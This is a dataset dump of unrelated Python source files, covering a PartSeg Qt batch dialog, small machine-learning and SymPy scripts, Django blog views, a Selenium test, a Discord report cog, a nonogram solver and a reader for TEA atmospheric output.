self.settings.set_in_profile(\"batch_window_geometry\", self.saveGeometry().toHex().data().decode(\"ascii\"))\n super().closeEvent(event)\n\n\nclass CalculationPrepare(QDialog):\n \"\"\"\n :type mask_path_list: list[QLineEdit]\n :type mask_mapper_list: list[MaskMapper]\n \"\"\"\n\n def __init__(\n self,\n file_list: typing.List[os.PathLike],\n calculation_plan: CalculationPlan,\n measurement_file_path: os.PathLike,\n settings: PartSettings,\n batch_manager: CalculationManager,\n parent: typing.Optional[QWidget] = None,\n ):\n \"\"\"\n :param file_list: list of files to proceed\n :param calculation_plan: calculation plan for this run\n :param measurement_file_path: path to measurement result file\n :param settings: settings object\n :type batch_manager: CalculationManager\n \"\"\"\n super().__init__(parent=parent)\n self.setWindowTitle(\"Calculation start\")\n self.file_list = file_list\n self.calculation_plan = calculation_plan\n self.measurement_file_path = measurement_file_path\n self.settings = settings\n self.batch_manager = batch_manager\n self.info_label = QLabel(\n f\"Information, warnings, \"\n \"errors\"\n )\n self.voxel_size = Spacing(\"Voxel size\", settings.image.spacing, settings.get(\"units_value\", Units.nm))\n if len(file_list) == 1:\n all_prefix = os.path.dirname(file_list[0])\n else:\n all_prefix = os.path.commonpath(file_list)\n self.all_file_prefix = all_prefix\n self.base_prefix = QLineEdit(all_prefix, self)\n self.base_prefix.setReadOnly(True)\n self.result_prefix = QLineEdit(all_prefix, self)\n self.result_prefix.setReadOnly(True)\n self.base_prefix_btn = QPushButton(\"Choose data prefix\")\n self.base_prefix_btn.clicked.connect(self.choose_data_prefix)\n self.result_prefix_btn = QPushButton(\"Choose save prefix\")\n self.result_prefix_btn.clicked.connect(self.choose_result_prefix)\n self.sheet_name = QLineEdit(\"Sheet1\")\n self.sheet_name.textChanged.connect(self.verify_data)\n self.measurement_file_path_view = QLineEdit(str(measurement_file_path))\n self.measurement_file_path_view.setReadOnly(True)\n\n self.overwrite_voxel_size_check = QCheckBox(\"Overwrite voxel size\")\n self.overwrite_voxel_size_check.stateChanged.connect(self._overwrite_voxel_size_check_changed)\n\n self.mask_path_list = []\n self.mask_mapper_list = self.calculation_plan.get_list_file_mask()\n mask_file_list = [(i, el) for i, el in enumerate(self.mask_mapper_list) if isinstance(el, MaskFile)]\n\n self.state_list = np.zeros((len(self.file_list), len(self.mask_mapper_list)), dtype=np.uint8)\n\n self.file_list_widget = QTreeWidget()\n self.file_list_widget.header().close()\n\n self.execute_btn = QPushButton(\"Execute\")\n self.execute_btn.clicked.connect(self.accept)\n self.cancel_btn = QPushButton(\"Cancel\")\n self.cancel_btn.clicked.connect(self.close)\n\n self.setup_ui(mask_file_list)\n self.verify_data()\n\n def setup_ui(self, mask_file_list):\n mask_path_layout = QGridLayout()\n for i, (pos, mask_file) in enumerate(mask_file_list):\n if not mask_file.name:\n mask_path_layout.addWidget(right_label(f\"Path to file {i + 1} with mask mapping\"))\n else:\n mask_path_layout.addWidget(\n right_label(f\"Path to file {i + 1} with mask mapping for name: {mask_file.name}\")\n )\n mask_path = QLineEdit(self)\n mask_path.setReadOnly(True)\n self.mask_path_list.append(mask_path)\n set_path = QPushButton(\"Choose file\", self)\n set_path.clicked.connect(self.set_mapping_mask(i, pos))\n mask_path_layout.addWidget(mask_path, i, 1)\n mask_path_layout.addWidget(set_path, i, 2)\n\n layout = QGridLayout()\n layout.addWidget(self.info_label, 0, 0, 1, 5)\n layout.addWidget(self.voxel_size, 1, 0, 1, 5)\n layout.addWidget(self.overwrite_voxel_size_check, 2, 0, 1, 5)\n layout.addWidget(right_label(\"Measurement sheet name:\"), 4, 3)\n layout.addWidget(self.sheet_name, 4, 4)\n layout.addWidget(right_label(\"Measurement file path:\"), 3, 3)\n layout.addWidget(self.measurement_file_path_view, 3, 4)\n\n layout.addWidget(right_label(\"Data prefix:\"), 3, 0)\n layout.addWidget(self.base_prefix, 3, 1)\n layout.addWidget(self.base_prefix_btn, 3, 2)\n layout.addWidget(right_label(\"Save prefix:\"), 4, 0)\n layout.addWidget(self.result_prefix, 4, 1)\n layout.addWidget(self.result_prefix_btn, 4, 2)\n layout.addLayout(mask_path_layout, 5, 0, 1, 0)\n\n layout.addWidget(self.file_list_widget, 5, 0, 3, 6)\n btn_layout = QHBoxLayout()\n btn_layout.addWidget(self.execute_btn)\n btn_layout.addStretch()\n btn_layout.addWidget(self.cancel_btn)\n layout.addLayout(btn_layout, 8, 0, 1, 0)\n self.setLayout(layout)\n\n def _warning_color(self):\n return \"yellow\" if self.settings.theme_name == \"dark\" else \"blue\"\n\n def _overwrite_voxel_size_check_changed(self):\n self.verify_data()\n if self.overwrite_voxel_size_check.isChecked():\n text = self.info_label.text()\n text += \"
Overwrite voxel size is checked. File metadata will be ignored\"\n self.info_label.setText(text)\n\n def choose_data_prefix(self):\n dial = QFileDialog()\n dial.setAcceptMode(QFileDialog.AcceptMode.AcceptOpen)\n dial.setFileMode(QFileDialog.FileMode.Directory)\n dial.setDirectory(self.base_prefix.text())\n dial.setHistory(dial.history() + self.settings.get_path_history())\n if dial.exec_():\n dir_path = str(dial.selectedFiles()[0])\n self.base_prefix.setText(dir_path)\n\n def choose_result_prefix(self):\n dial = QFileDialog()\n dial.setOption(QFileDialog.Option.DontUseNativeDialog, True)\n dial.setAcceptMode(QFileDialog.AcceptMode.AcceptOpen)\n dial.setFileMode(QFileDialog.FileMode.Directory)\n dial.setDirectory(self.result_prefix.text())\n dial.setHistory(dial.history() + self.settings.get_path_history())\n if dial.exec_():\n dir_path = str(dial.selectedFiles()[0])\n self.result_prefix.setText(dir_path)\n\n def set_mapping_mask(self, i, pos):\n def mapping_dialog():\n dial = QFileDialog(self, \"Select file\")\n dial.setHistory(dial.history() + self.settings.get_path_history())\n base_path = str(self.base_prefix.text()).strip()\n if base_path:\n dial.setDirectory(base_path)\n dial.setFileMode(QFileDialog.FileMode.ExistingFile)\n if dial.exec_():\n path = str(dial.selectedFiles())\n self.mask_path_list[i].setText(path)\n file_mapper: MaskFile = self.mask_mapper_list[pos]\n file_mapper.set_map_path(path)\n\n return mapping_dialog\n\n def get_data(self):\n res = {\n \"file_list\": self.file_list,\n \"base_prefix\": str(self.base_prefix.text()),\n \"result_prefix\": str(self.result_prefix.text()),\n \"measurement_file_path\": str(self.measurement_file_path_view.text()),\n \"sheet_name\": str(self.sheet_name.text()),\n \"calculation_plan\": self.calculation_plan,\n \"voxel_size\": self.voxel_size.get_values(),\n \"overwrite_voxel_size\": self.overwrite_voxel_size_check.isChecked(),\n }\n return Calculation(**res)\n\n def verify_data(self):\n self.execute_btn.setEnabled(True)\n warning_color = self._warning_color()\n text = (\n f\"information, warnings,\"\n f\" errors
\"\n \"The voxel size is for file in which metadata do not contains this information
\"\n )\n if not self.batch_manager.is_valid_sheet_name(\n str(self.measurement_file_path_view.text()), str(self.sheet_name.text())\n ):\n text += f\"Sheet name already in use
\"\n self.execute_btn.setDisabled(True)\n if self.state_list.size > 0:\n val = np.unique(self.state_list)\n if 1 in val:\n self.execute_btn.setDisabled(True)\n text += f\"Some mask map file are not set
\"\n if 2 in val:\n self.execute_btn.setDisabled(True)\n text += \"Some mask do not exists
\"\n\n if not all(os.path.exists(f) for f in self.file_list):\n self.execute_btn.setDisabled(True)\n text += \"Some files do not exists
\"\n\n text = text[:-4]\n self.info_label.setText(text)\n\n def _check_start_conditions(self):\n for file_num, file_path in enumerate(self.file_list):\n for mask_num, mask_mapper in enumerate(self.mask_mapper_list):\n if mask_mapper.is_ready():\n mask_path = mask_mapper.get_mask_path(file_path)\n if os.path.exists(mask_path):\n self.state_list[file_num, mask_num] = 0\n else:\n self.state_list[file_num, mask_num] = 2\n else:\n self.state_list[file_num, mask_num] = 1\n self.verify_data()\n\n def showEvent(self, event):\n super().showEvent(event)\n self._check_start_conditions()\n\n icon_dkt = {\n 0: QIcon(os.path.join(icons_dir, \"task-accepted.png\")),\n 1: QIcon(os.path.join(icons_dir, \"task-reject.png\")),\n 2: QIcon(os.path.join(icons_dir, \"task-attempt.png\")),\n }\n\n text_dkt = {\n 0: \"Mask {} ok\",\n 1: \"Mask {} unknown\",\n 2: \"Mask {} file does not exists\",\n }\n\n warn_state = np.amax(self.state_list, axis=1, initial=0)\n for file_num, file_path in enumerate(self.file_list):\n widget = QTreeWidgetItem(self.file_list_widget)\n widget.setText(0, os.path.relpath(file_path, self.all_file_prefix))\n if not os.path.exists(file_path):\n widget.setIcon(0, icon_dkt[0])\n widget.setToolTip(0, \"File do not exists\")\n continue\n for mask_num, mask_mapper in enumerate(self.mask_mapper_list):\n sub_widget = QTreeWidgetItem(widget)\n sub_widget.setText(0, text_dkt[self.state_list[file_num, mask_num]].format(mask_mapper.name))\n sub_widget.setIcon(0, icon_dkt[self.state_list[file_num, mask_num]])\n\n widget.setIcon(0, icon_dkt[warn_state[file_num]])\n\n\nclass CalculationProcessItem(QStandardItem):\n def __init__(self, calculation: Calculation, num: int, count, *args, **kwargs):\n text = f\"Task {num} ({count}/{len(calculation.file_list)})\"\n super().__init__(text, *args, **kwargs)\n self.calculation = calculation\n self.num = num\n self.count = count\n self.setToolTip(str(calculation.calculation_plan))\n self.setEditable(False)\n\n def update_count(self, count):\n self.count = count\n self.setText(f\"Task {self.num} ({count}/{len(self.calculation.file_list)})\")\n\n def is_finished(self) -> bool:\n return self.count == len(self.calculation.file_list)\n","sub_path":"package/PartSeg/_roi_analysis/batch_window.py","file_name":"batch_window.py","file_ext":"py","file_size_in_byte":26144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"598435910","text":"import pandas as pd \nimport numpy as np\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import accuracy_score\nimport seaborn as sns\nimport matplotlib.pyplot as plt \nfrom sklearn.model_selection import train_test_split,KFold\nfrom sklearn.metrics import mean_squared_error,r2_score,mean_absolute_error\nfrom sklearn import preprocessing\ndf = pd.read_csv('dataset\\data.csv')\ndef handle_non_numerical_data(df):\n columns = df.columns.values\n for column in columns:\n x = 0\n digit_dict = {}\n def convert_to_int(val):\n return digit_dict[val]\n if df[column].dtype != np.float64 and df[column].dtype != np.int64:\n df_val = list(set(df[column]))\n for val in df_val:\n if val not in digit_dict:\n digit_dict[val] = x\n x += 1 \n df[column] = list(map(convert_to_int,df[column])) \n return df\ndf= handle_non_numerical_data(df)\n#--------Visualization---------------------#\n# sns.pairplot(df)\n# plt.show()\n#-------------------------------------------#\nX = np.array(df.drop(['X5','X6','X7','Y'],1))\nX2_X3 = np.array(X[:,1]*X[:,2]).reshape(-1,1)\nX4_X5 = np.array(X[:,3]*X[:,4]).reshape(-1,1)\n# print('X2_X3= ', X2_X3)\nX = np.concatenate((X,X2_X3),axis = 1)\nX = preprocessing.scale(X)\ny = np.array(df['Y'])\n# print('X = ',X)\n# X_train,X_test,y_train,y_test = X[:20,:],X[20:,:],y[:20],y[20:]\nX_train,X_test,y_train,y_test = train_test_split(X,y,test_size = 0.2)\nmodel = LinearRegression().fit(X_train,y_train)\n# co_eff = model.coef_\n# print('co_eff = ' ,co_eff)\n# predictions = model.predict(X_test)\n# accuracy = model.score(X_test,y_test)\n# print('predict = ', predictions.astype(int))\n# print('y_test = ',y_test)\n# print('accuracy = ', accuracy)\n# print('error',mean_squared_error(predictions,y))\n#_----------------------------#\nkf = KFold(n_splits= 4)\nkf.get_n_splits(X)\nprint(kf)\nfor train_index, test_index in kf.split(X):\n X_train, X_test = X[train_index], X[test_index]\n y_train, y_test = y[train_index], y[test_index]\n predictions = model.predict(X_test)\n co_eff = model.coef_\n print('-------------------------------------------------')\n print('co_eff = ' ,co_eff)\n print('predict = ', predictions.astype(int))\n print('y_test = ',y_test)\n accuracy = model.score(X_test,y_test)\n print(\"accuracy \",accuracy)\n\n ","sub_path":"pro1- salary/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"1034418","text":"\n\n#calss header\nclass _TRANSATLANTIC():\n\tdef __init__(self,): \n\t\tself.name = \"TRANSATLANTIC\"\n\t\tself.definitions = [u'crossing the Atlantic ocean, or relating to countries on both sides of the Atlantic Ocean: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_transatlantic.py","file_name":"_transatlantic.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"634261511","text":"\"\"\"\nThis script will be a simple test that tests the ant spawning actions render correctly.\n\nTo run this test, make the below changes first:\n 1- Safari --> Allow Remote Automation\n 2- Change the remote url variable to local in LListGameboard.js\n 3- npm run build\n\nHow to run:\n 1) Run Django: python manage.py runserver\n 2) Run the test: python -m unittest test_spawn_ant.py\n\"\"\"\nimport unittest\nimport requests\nfrom selenium import webdriver \nfrom time import sleep\n\nclass TestStringMethods(unittest.TestCase):\n\n def setUp(self):\n \"\"\"setup the test\"\"\"\n # Web browser instance\n self.driver = webdriver.Safari()\n# self.driver.get(\"http://127.0.0.1:8000/game_board/llist_api\")\n self.driver.get(\"http://127.0.0.1:3000/game_board/llist_api\")\n\n\n def test_spawn_elements(self):\n \n # get cookies, check that initial state of spawningAnt is false\n cookies = self.driver.get_cookies()\n spawning = \"\"\n for cookie in cookies:\n if cookie['name'] == 'spawningAnt':\n spawning = cookie['value']\n\n self.assertFalse(spawning)\n\n sleep(2)\n\n # click on queen ant and check that spawningAnt changes to true\n #queen_ant = self.driver.find_element_by_xpath(\"/div/span/button/img\")\n queen_ant = self.driver.find_element_by_id('queenAnt')\n queen_ant.click()\n sleep(2)\n \n # when queen is clicked, spawningAnt is true, egg should appear on screen, find egg\n ant_egg = self.driver.find_element_by_id('egg')\n\n # This should work after frontend and backend are connected\n \"\"\"\n cookies = self.driver.get_cookies()\n spawningAfterClick = \"\"\n for cookie in cookies:\n if cookie['name'] == 'spawningAnt':\n spawningAfterClick = cookie['value']\n\n sleep(2)\n self.assertTrue(spawningAfterClick)\n \"\"\"\n \n \n\n\n\n def tearDown(self):\n self.driver.close()\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"src/Tests/test_spawn_ant.py","file_name":"test_spawn_ant.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"148868630","text":"from django.shortcuts import render, get_object_or_404, get_list_or_404\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.views import View\nfrom django.http import Http404, HttpResponseRedirect\n\nfrom .models import Post, Category\n\nclass HomeView(View):\n \"\"\"Redirect root URL to /blog/\"\"\"\n def get(self, request):\n return HttpResponseRedirect('/blog/')\n\nclass BlogView(View):\n \"\"\"Render the blog page.\"\"\"\n template_name = 'blog/blog.html'\n posts = Post.objects.order_by('-pub_datetime').filter(published=True)\n requested_category_name = None\n\n def get(self, request):\n \"\"\"Response to a GET request.\"\"\"\n requested_category = request.GET.get('c')\n\n # Get a list of categories that match the slug.\n all_categories = Category.objects.all().filter(slug=requested_category)\n try:\n # The name of the category will be passed to the template.\n self.requested_category_name = all_categories[0].name\n except:\n # If no matching category was found, do nothing.\n pass\n\n # Filter the posts according to the requested_category. Empty lists are\n # handled in the template.\n if requested_category:\n self.posts = self.posts.filter(category__slug=requested_category)\n\n # Apply pagination.\n requested_page = request.GET.get('p')\n paginator = Paginator(self.posts, 5)\n try:\n self.posts = paginator.page(requested_page)\n except PageNotAnInteger:\n self.posts = paginator.page(1)\n except EmptyPage:\n self.posts = paginator.page(paginator.num_pages)\n\n # Generate context.\n self.context = {\n 'posts': self.posts,\n 'requested_category': requested_category,\n 'requested_category_name': self.requested_category_name,}\n\n return render(request, self.template_name, self.context)\n\n\nclass PostView(View):\n \"\"\"Render the individual posts.\"\"\"\n template_name = 'blog/post.html'\n\n def get(self, request, slug):\n \"\"\" Response to a GET request.\"\"\"\n self.post = get_object_or_404(Post, slug=slug)\n\n # If the post is not yet published and the user is not part of the\n # staff, return the 404 error page. Prevent link guessing.\n if not self.post.published and not request.user.is_staff:\n raise Http404()\n\n # Generate context.\n self.context = {'post': self.post}\n\n return render(request, self.template_name, self.context)\n","sub_path":"bbusuioc/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"89904294","text":"from sympy import Symbol, solve\n\nprint(\"This is test3_4.py file\")\n\ndef solve_a_b():\n a = Symbol('a')\n b = Symbol('b')\n\n ex1 = a + b - 1\n ex2 = 5*a + b - 3\n\n print(solve((ex1, ex2)))\n","sub_path":"python_math/test3_4.py","file_name":"test3_4.py","file_ext":"py","file_size_in_byte":197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"572095787","text":"def get_pid(pid):\n pid = str(pid)\n result = [str(s) for s in pid.split() if s.isdigit()]\n return result[0]\n\ndef is_running(all_pids, pid):\n all_pids = str(all_pids)\n pid = str(pid)\n\n if all_pids.find(pid) != -1:\n return '0'\n else:\n return '-1'\n","sub_path":"src/test/atf/tests/demo/matus.py","file_name":"matus.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"157681334","text":"import MapReduce\nimport sys\n\n\"\"\"\nFriend count based on Python MapReduce Framework.\nIn this case the social network is a directed graph.\n\"\"\"\n\nmr = MapReduce.MapReduce()\n\n# =============================\n# Do not modify above this line\n\ndef mapper(record):\n # record = [personA, personB], type = str, str\n # B is A's friend, but A is NOT B's friend\n # key: personA\n # value: personA's friend\n key = record[0]\n value = record[1]\n mr.emit_intermediate(key, value)\n\ndef reducer(key, list_of_values):\n # key: personA\n # value: list of personA's friends\n # Output: (person, friend_count)\n friend_list = []\n friend_count = 0\n for friend in list_of_values:\n if friend not in friend_list:\n friend_list.append(friend)\n friend_count += 1\n mr.emit((key, friend_count))\n\n# Do not modify below this line\n# =============================\nif __name__ == '__main__':\n inputdata = open(sys.argv[1])\n mr.execute(inputdata, mapper, reducer)\n \n","sub_path":"assignment3/friend_count.py","file_name":"friend_count.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"198928769","text":"\r\nfrom setuptools import setup, find_packages\r\nfrom codecs import open\r\nfrom os import path\r\n\r\n'''\r\ninclude_package_data\r\nAccept all data files and directories matched by MANIFEST.in.\r\n\r\npackage_data\r\nSpecify additional patterns to match files and directories that may or may not be matched by MANIFEST.in or found in source control.\r\n\r\nexclude_package_data\r\nSpecify patterns for data files and directories that should not be included when a package is installed, even if they would otherwise have been included due to the use of the preceding options.\r\n'''\r\n\r\nhere = path.abspath(path.dirname(__file__))\r\nwith open(path.join(here, 'README.md'), encoding='utf-8') as f:\r\n long_description = f.read()\r\n\r\nsetup(\r\n name=\"my-test-flask\",\r\n author=\"frank\",\r\n author_email=\"ashengfhs@163.com\",\r\n version=\"0.1.0\",\r\n description=\"a simple example use of flask.\",\r\n long_description=long_description,\r\n packages=find_packages(),\r\n scripts=[],\r\n package_data={\r\n # Include txt file in any packages\r\n '': ['*.txt'],\r\n # Include data files under flaskr package\r\n 'app': ['data/*.dat'],\r\n 'app': ['static/*'],\r\n 'app': ['template/*.html'],\r\n },\r\n # Exclude any README when install\r\n exclude_package_data={'': ['README.*']},\r\n install_requires=['flask>=0.12.2'],\r\n)\r\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"170895137","text":"import datetime\n\nimport discord\nfrom discord.ext import commands\n\nfrom core import checks\nfrom core.models import PermissionLevel\n\nclass AcceptReport(commands.Cog): \n \"\"\"Allows Drop Staff members to accept reports to be added to the ban database\"\"\"\n \n def __init__(self, bot):\n self.bot = bot\n self.db = bot.api.get_plugin_partition(self)\n\n @commands.command(aliases=[\"rchannel\"])\n @checks.has_permissions(PermissionLevel.SUPPORTER)\n async def reportchannel(self, ctx, channel: discord.TextChannel):\n \"\"\"Set the accepted reports channel\"\"\"\n await self.db.find_one_and_update({\"_id\": \"config\"}, {\"$set\": {\"accept_reports_channel\": channel.id}}, upsert=True)\n \n embed = discord.Embed(color=discord.Color.blue(), timestamp=datetime.datetime.utcnow())\n embed.add_field(name=\"Set Channel\", value=f\"Successfully set the Accepted Reports channel to {channel.mention}\", inline=False)\n \n await ctx.send(embed=embed)\n\n @commands.command()\n async def report(self, ctx, user: discord.Member, *, ticketlink: str, reason: str, proof: str):\n \"\"\"Allows Drop Staff members to accept reports\"\"\"\n config = await self.db.find_one({\"_id\": \"config\"})\n report_channel = config[\"accept_reports_channel\"]\n setchannel = discord.utils.get(ctx.guild.channels, id=int(report_channel))\n \n report_mention = \"\"\n \n embed = discord.Embed(color=discord.Color.red(), timestamp=datetime.datetime.utcnow())\n embed.set_author(name=ctx.author.name, icon_url=ctx.author.avatar_url)\n \n embed.setTitle(name=\"Drop Scam & Fraud - Staff Member Accepted Report\")\n embed.add_field(name=\"Reported user:\", value=f\"{user.mention} | ID: {user.id}\", inline=False)\n embed.add_field(name=\"Staff member:\", value=f\"{ctx.author.mention} | ID: {ctx.author.id}\", inline=False)\n embed.add_field(name=\"Ticket Link:\", value=f\"{ticketlink}\", inline=False)\n embed.add_field(name=\"Ticket:\", value=ctx.channel.mention, inline=False)\n embed.add_field(name=\"Reason:\", value=reason, inline=False)\n embed.add_field(name=\"Proof:\", value=f\"{proof}\", inline=False)\n\n await setchannel.send(report_mention, embed=embed)\n await ctx.send(\"Succesfully submitted the report to be accepted by a supervisor!\")\n \ndef setup(bot):\n bot.add_cog(AcceptReport(bot))","sub_path":"acceptreport/acceptreport.py","file_name":"acceptreport.py","file_ext":"py","file_size_in_byte":2427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"63567134","text":"#Ramo: IA (ICI5240-1)\n#Integrantes: Andres Gonzalez - Jorge Montiel - Bruno Rezzio\n\nimport sys\nimport string\nimport copy\nimport types\nfrom resolver import resolver\nfrom datos_diff import datos_diff\nfrom verificar_solucion import verificar_solucion\n\ndef solucionar_desde_archivo(nombreArchivo):\n\n # Paso 0:\n # Lectura de archivo\n \n f = open(nombreArchivo)\n lineas = f.readlines()\n\n # Paso 1: \n # Convertir en una lista de listas y eliminar espacios en blanco\n\n red = []\n ancho = 0\n for linea in lineas:\n linea = linea.rstrip()\n if linea:\n fila = str.split(linea, \"\\t\")\n ancho = max(ancho, len(fila))\n red.append(fila)\n alto = len(red)\n \n # Paso 2:\n # convertir a enteros y normalizar ancho de fila\n\n y = 0\n for fila in red:\n nueva_fila = []\n for x in range(ancho):\n try:\n i = int(fila[x])\n except IndexError:\n i = None\n except ValueError:\n if fila[x] == 'O':\n i = True\n elif fila[x] == 'X':\n i = False\n else:\n i = None \n nueva_fila.append(i)\n red[y] = nueva_fila\n y += 1\n\n # Paso 3:\n # Medida alto y ancho de la red interna\n\n x = ancho - 1\n y = alto - 1\n while x >= 0:\n if type(red[y][x]) == int:\n break\n x -= 1\n ancho_interno = ancho - x - 1\n\n x = ancho - 1\n y = alto - 1\n while y >= 0:\n if type(red[y][x]) == int:\n break\n y -= 1\n alto_interno = len(red) - y - 1\n\n # Paso 4:\n # Asegurarse de que la red interna sea válida\n\n for x in range(ancho - ancho_interno, ancho):\n for y in range(alto - alto_interno, alto):\n if type(red[y][x]) != type(None) and type(red[y][x]) != bool:\n print('tablero inválido')\n exit()\n \n # Paso 5:\n # Asegurarse de que la esquina superior izquierda está vacía\n\n for x in range(ancho - ancho_interno):\n for y in range(alto - alto_interno):\n if red[y][x] != None:\n print('tablero inválido')\n exit()\n conteo_ancho = ancho - ancho_interno\n conteo_alto = alto - alto_interno\n\n # Paso 6:\n # Poblar conteos filas\n\n conteo_filas = []\n for y in range(conteo_alto, alto):\n conteos = []\n for x in range(conteo_ancho):\n conteo = red[y][x]\n if conteo:\n conteos.append(conteo)\n conteo_filas.append(conteos)\n\n # Paso 7:\n # Poblar conteos columnas\n\n conteo_columnas = []\n for x in range(conteo_ancho, ancho):\n conteos = []\n for y in range(conteo_alto):\n conteo = red[y][x]\n if conteo:\n conteos.append(conteo)\n conteo_columnas.append(conteos)\n\n # Paso 8:\n # Rehacer la red\n\n ancho = ancho_interno\n alto = alto_interno\n red_interna = []\n for y in range(alto):\n red_interna.append([])\n for x in range(ancho):\n red_interna[y].append(red[y+conteo_alto][x+conteo_ancho])\n\n red = resolver(conteo_filas, conteo_columnas, red_interna)\n\n complete = True\n for fila in red:\n for item in fila:\n if item == None:\n complete = False\n\n if complete:\n l = verificar_solucion(red)\n if datos_diff(l[0], conteo_filas) or datos_diff(l[1], conteo_columnas):\n print('FALLO!')\n exit()\n\n for y in range(conteo_alto):\n for x in range(conteo_ancho):\n sys.stdout.write(\"\\t\")\n for conteos in conteo_columnas:\n try:\n sys.stdout.write(str(conteos[-conteo_alto+y]))\n except:\n pass\n sys.stdout.write(\"\\t\")\n print()\n y = 0\n for fila in red:\n for x in range(conteo_ancho):\n try:\n sys.stdout.write(str(conteo_filas[y][-conteo_ancho+x]))\n except:\n pass\n sys.stdout.write(\"\\t\")\n for cuadrado in fila:\n if cuadrado == True:\n sys.stdout.write('O')\n elif cuadrado == False:\n sys.stdout.write('X')\n sys.stdout.write(\"\\t\")\n print()\n y += 1","sub_path":"proyectononograms/solucionar_desde_archivo.py","file_name":"solucionar_desde_archivo.py","file_ext":"py","file_size_in_byte":4375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"467244428","text":"#! /usr/bin/env python\n\nimport numpy as np\nimport sys, os, subprocess, shutil\n\n# add path to submodules and imports\nprojectDir = '/home/jasmina/Work/3D-retrieval/'\nsys.path.append(projectDir + \"/code/binary/\")\nsys.path.append(projectDir + \"/code/\")\n\nimport constPG_surf as setup\nimport runTEA as rT\n\n# runs TEA on the set of pre-atm files made from Ian's binary file\n# reads TEA output file, adds corresponding radius array to each TEA output, \n# reformats TEA output for Transit and stores all files in TransitInp/\n\n# user decides on the name of the current working directory, on the number\n# of layers in the atmosphere, and the initial binary file to read \n# run the code as reformat.py\n\n\ndef readatm(TEAfile):\n \"\"\"\n Reads TEA atmospheric file.\n\n Parameters\n ----------\n TEAfile: String\n Name of TEA atmospheric ASCII file.\n\n Returns\n -------\n molecules: 1D string array\n Array of output molecular species.\n pressure: 1D float array\n Array of pressures listed in the atmospheric file (in bar).\n temp: 1D float array\n Array of pressures listed in the atmospheric file (in K)\n abundances: 2D float array\n Array containing abundances (mixing fractions) for \n each species at each atmospheric layer (unitelss).\n phi: float\n Phi angle, longitude at which T-P profile is taken (in degrees)\n theta: float\n Theta angle, latitude at which T-P profile is taken (in degrees)\n\n Notes\n -----\n Atmospheric data starts two lines after the header line: #TEADATA\n\n Revisions\n ---------\n 2013-11-17 Jasmina Written by.\n 2014-09-12 Jasmina Added new markers, excluded radii, returned\n temperature, added documentation. \n 2014-10-02 Jasmina Added option to read atmfile with or without\n radius array in it.\n 2015-12-03 Jasmina Added option to read current longitude and latitude.\n \"\"\"\n\n # open the atmospheric file and read\n f = open(TEAfile, 'r')\n lines = np.asarray(f.readlines())\n f.close()\n\n # read longitude and latitude from the header\n loc = lines[0]\n start_long = loc.index(\"phi=\") + len(\"phi=\")\n start_lat = loc.index(\"theta=\") + len(\"theta=\")\n end_long = loc.index(\"theta=\", start_long )\n end_lat = loc.index(\"\\n\", start_lat )\n phi = float(loc[start_long:end_long])\n theta = float(loc[start_lat:end_lat])\n\n # get the molecules\n imol = np.where(lines == \"#SPECIES\\n\")[0][0] + 1\n molecules = lines[imol].split()\n\n # find the line where the layers info begins\n start = np.where(lines == \"#TEADATA\\n\")[0][0] + 2 \n\n # Number of columns\n ncol = len(lines[start].split())\n\n # number of layers\n ndata = len(lines) - start \n\n # read atmfile without radius array in it or with it\n pressure = np.zeros(ndata, np.double)\n temp = np.zeros(ndata, np.double) \n if ncol == len(molecules) + 2:\n # number of abundances (elements per line except Press and T) \n nabun = len(lines[start].split()) - 2 \n abundances = np.zeros((ndata, nabun), np.double)\n\n # extract pressure, temperature, and abundance data\n for i in np.arange(ndata):\n line = lines[start+i].strip().split() \n pressure[i] = line[0]\n temp[i] = line[1] \n abundances[i] = line[2:] \n else:\n # number of abundances (elements per line except Radius, Press and T) \n nabun = len(lines[start].split()) - 3 \n abundances = np.zeros((ndata, nabun), np.double)\n\n # extract pressure, temperature, and abundance data\n for i in np.arange(ndata):\n line = lines[start+i].strip().split() \n pressure[i] = line[1]\n temp[i] = line[2] \n abundances[i] = line[3:] \n\n return molecules, pressure, temp, abundances, phi, theta \n\n\ndef addRadius(TEAfile, rad, phi_grid, theta_grid):\n \"\"\"\n Add radius array into the final TEA output atmospheric file.\n\n Parameters\n ----------\n TEAfile: String\n Name of TEA atmospheric ASCII file.\n rad: 3D float ndarray\n Array of interpolated radii for each pres, phi, theta (in km)\n phi_grid: 1D float array\n Array of desired phi angles, azimuthal, longitudinal angles\n for interpolation (in degrees)\n theta_grid: 1D float array\n Array of desired theta angles, polar, zenith, latitude angles\n for interpolation (in degrees)\n\n Returns\n -------\n atmfile: String\n Name of atmospheric ASCII file with added radius array.\n\n Revisions\n 